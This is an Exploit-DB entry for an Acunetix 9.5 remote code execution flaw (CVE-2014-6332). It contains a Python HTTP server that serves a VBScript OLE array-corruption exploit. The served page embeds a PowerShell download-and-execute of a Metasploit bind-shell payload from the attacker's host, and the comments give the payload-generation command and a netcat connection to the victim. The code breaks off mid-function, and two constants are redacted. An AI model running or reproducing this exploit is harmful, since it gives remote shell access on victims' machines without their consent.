Exploit-DB #36516
Description: Acunetix 9.5 - OLE Automation Array Remote Code Execution
Type: remote
Platform: windows
Date: 2015-03-27
Author: Naser Farhadi

Exploit:
#!/usr/bin/python

import BaseHTTPServer, sys, socket

##
# Acunetix OLE Automation Array Remote Code Execution
#
# Author: Naser Farhadi
# Linkedin: http://ir.linkedin.com/pub/naser-farhadi/85/b3b/909
#
# Date: 27 Mar 2015 # Version: <=9.5 # Tested on: Windows 7
# Description: Acunetix Login Sequence Recorder (lsr.exe) Uses CoCreateInstance API From Ole32.dll To Record 
# Target Login Sequence
# Exploit Based on MS14-064 CVE2014-6332 http://www.exploit-db.com/exploits/35229/
# This Python Script Will Start A Sample HTTP Server On Your Machine And Serves Exploit Code And
# Metasploit windows/shell_bind_tcp Executable Payload
# And Finally You Can Connect To Victim Machine Using Netcat    
# Usage:
#       chmod +x acunetix.py
#       ./acunetix.py
#       Attacker Try To Record Login Sequence Of Your Http Server Via Acunetix
#       nc 192.168.1.7 333
# Payload Generated By This Command:    msfpayload windows/shell_bind_tcp LPORT=333 X > acunetix.exe
# 
# Video: https://vid.me/SRCb
##

class RequestHandler(BaseHTTPServer.BaseHTTPRequestHandler):
    def do_GET(req):
        req.send_response(200)
        if req.path == "/acunetix.exe":
            req.send_header('Content-type', 'application/exe')
            req.end_headers()
            exe = open("acunetix.exe", 'rb')
            req.wfile.write(exe.read())
            exe.close()
        else:
            req.send_header('Content-type', 'text/html')
            req.end_headers()
            req.wfile.write("""Please scan me!
                            <SCRIPT LANGUAGE="VBScript">
                            function runmumaa() 
                            On Error Resume Next
                            set shell=createobject("Shell.Application")
                            command="Invoke-Expression $(New-Object System.Net.WebClient).DownloadFile('http://"""+socket.gethostbyname(socket.gethostname())+"""/acunetix.exe',\
                            'acunetix.exe');$(New-Object -com Shell.Application).ShellExecute('acunetix.exe');"
                            shell.ShellExecute "powershell", "-Command " & command, "", "runas", 0
                            end function

                            dim   aa()
                            dim   ab()
                            dim   a0
                            dim   a1
                            dim   a2
                            dim   a3
                            dim   win9x
                            dim   intVersion
                            dim   rnda
                            dim   funclass
                            dim   myarray

                            Begin()

                            function Begin()
                              On Error Resume Next
                              info=Navigator.UserAgent

                              if(instr(info,"Win64")>0)   then
                                 exit   function
                              end if

                              if (instr(info,"MSIE")>0)   then 
                                         intVersion = CInt(Mid(info, InStr(info, "MSIE") + 5, 2))   
                              else
                                 exit   function  
                                         
                              end if

                              win9x=0

                              BeginInit()
                              If Create()=True Then
                                 myarray=        chrw(01)&chrw(2176)&chrw(01)&chrw(00)&chrw(00)&chrw(00)&chrw(00)&chrw(00)
                                 myarray=myarray&chrw(00)&chrw(32767)&chrw(00)&chrw(0)

                                 if(intVersion<4) then
                                     document.write("<br> IE")
                                     document.write(intVersion)
                                     runshellcode()                    
                                 else  
                                      setnotsafemode()
                                 end if
                              end if
                            end function

                            function BeginInit()
                               Randomize()
                               redim aa(5)
                               redim ab(5)
                               a0=13+17*rnd(6)
                               a3=7+3*rnd(5)
                            end function

                            function Create()
                              On Error Resume Next
                              dim i
                              Create=False
                              For i = 0 To 400
                                If Over()=True Then
                                '   document.write(i)     
                                   Create=True
                                   Exit For
                                End If 
                              Next
                            end function

                            sub testaa()
                            end sub

                            function mydata()
                                On Error Resume Next
                                 i=testaa
                                 i=null
                                 redim  Preserve aa(a2)  
                              
                                 ab(0)=0
                                 aa(a1)=i
                                 ab(0)=6[PII_REDACTED]7801E-314

                                 aa(a1+2)=myarray
                                 ab(2)=[PII_REDACTED]1324E-310  
                                 mydata=aa(a1)
                                 redim  Preserve aa(a0)  
                            end function 


                            function setnotsafemode()
                                On Error Resume Next
                                i=mydata()